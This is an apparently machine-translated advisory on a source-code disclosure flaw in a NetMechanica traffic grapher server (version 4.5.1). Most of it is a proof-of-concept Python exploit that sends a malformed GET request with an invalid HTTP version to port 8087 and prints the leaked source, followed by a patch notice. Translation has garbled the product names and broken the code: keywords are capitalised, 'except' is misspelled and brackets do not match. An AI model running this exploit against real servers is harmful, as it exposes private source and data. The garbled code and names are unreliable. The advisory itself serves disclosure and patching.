Netdemo-traffic Grapher Server Source Code leakage Vulnerability

Release date:
Updated on:

Affected Systems:
Netmechanic ICA netdemo-4.5.1
Unaffected system:
Netmachica netde00004.6.1
Description:
--------------------------------------------------------------------------------
Bugtraq id: 52196

Netdemo-http Server provides standard HTTP services on a Windows workstation or Server.

The default. nd source code leakage problem occurs when netdester verifies malformed http get requests, which may lead to leakage of sensitive information.

<* Source: Prabhu S Angadi

Link: http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_Vuln.txt
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Prabhu S Angadi () provides the following test methods:

#! /Usr/bin/python
######################################## ######################################
#
# Title: Netmechanica netdemo-traffic Grapher Server Information
# Disclosure Vulnerability
# Author: Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor: http://www.netmechanica.com
# Advisory: http://secpod.org/blog? P = 481
# Http://secpod.org/advisories/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_Vuln.txt
# Http://secpod.org/exploits/SecPod_Netmechanica_NetDecision_Traffic_Grapher_Server_SourceCode_Disc_PoC.py
# Software: Netmechanica netdemo-traffic Grapher Server version 4.5.1
# Date: 06/12/2011
#
######################################## #######################################

Import socket, sys, time

If len (sys. argv) <2:
Print "\ t [-] Usage: python secpod_exploit_netmechanic ica_netdecision_traffic_grapher_server_sourcecode_disc.py target_ip"
Print "\ t [-] Example: python secpod_exploit_netmechanic ica_netdecision_traffic_grapher_server_sourcecode_disc.py 127.0.0.1"
Print "\ t [-] Exiting ..."
Sys. exit (0)

Port = 8087
Target = sys. argv [1]

Try:
Socket. inet_aton (target)
Failed t socket. error:
Print "Invalid IP address found ..."
Sys. exit (1)

Try:
Sock = socket. socket (socket. AF_INET, socket. SOCK_STREAM)
Sock. connect (target, port ))
Time. sleep (1)
Except t:
Print "socket () failed"
Sys. exit (1)

Exploit = "GET" + "/test. nd" + "HTTP/-1111111" + "\ r \ n"

Print "http get request for/default. nd with invalid HTTP version triggers" + \
"The vulnerability"

Data = exploit
Sock. sendto (data, (target, port ))

For I in range (1, 10 ):
Sock. sendto ("\ r \ n", (target, port ))
Time. sleep (1)

Time. sleep (10)
Res = sock. recv (10000)
Sock. close ()
Print "[+] Source Code of netdemo-traffice Grapher Server: \ r \ n"
Print res
Sys. exit (1)

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Netmechanic
------------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.netmechanica.com/products? Prod_id = 1, 1015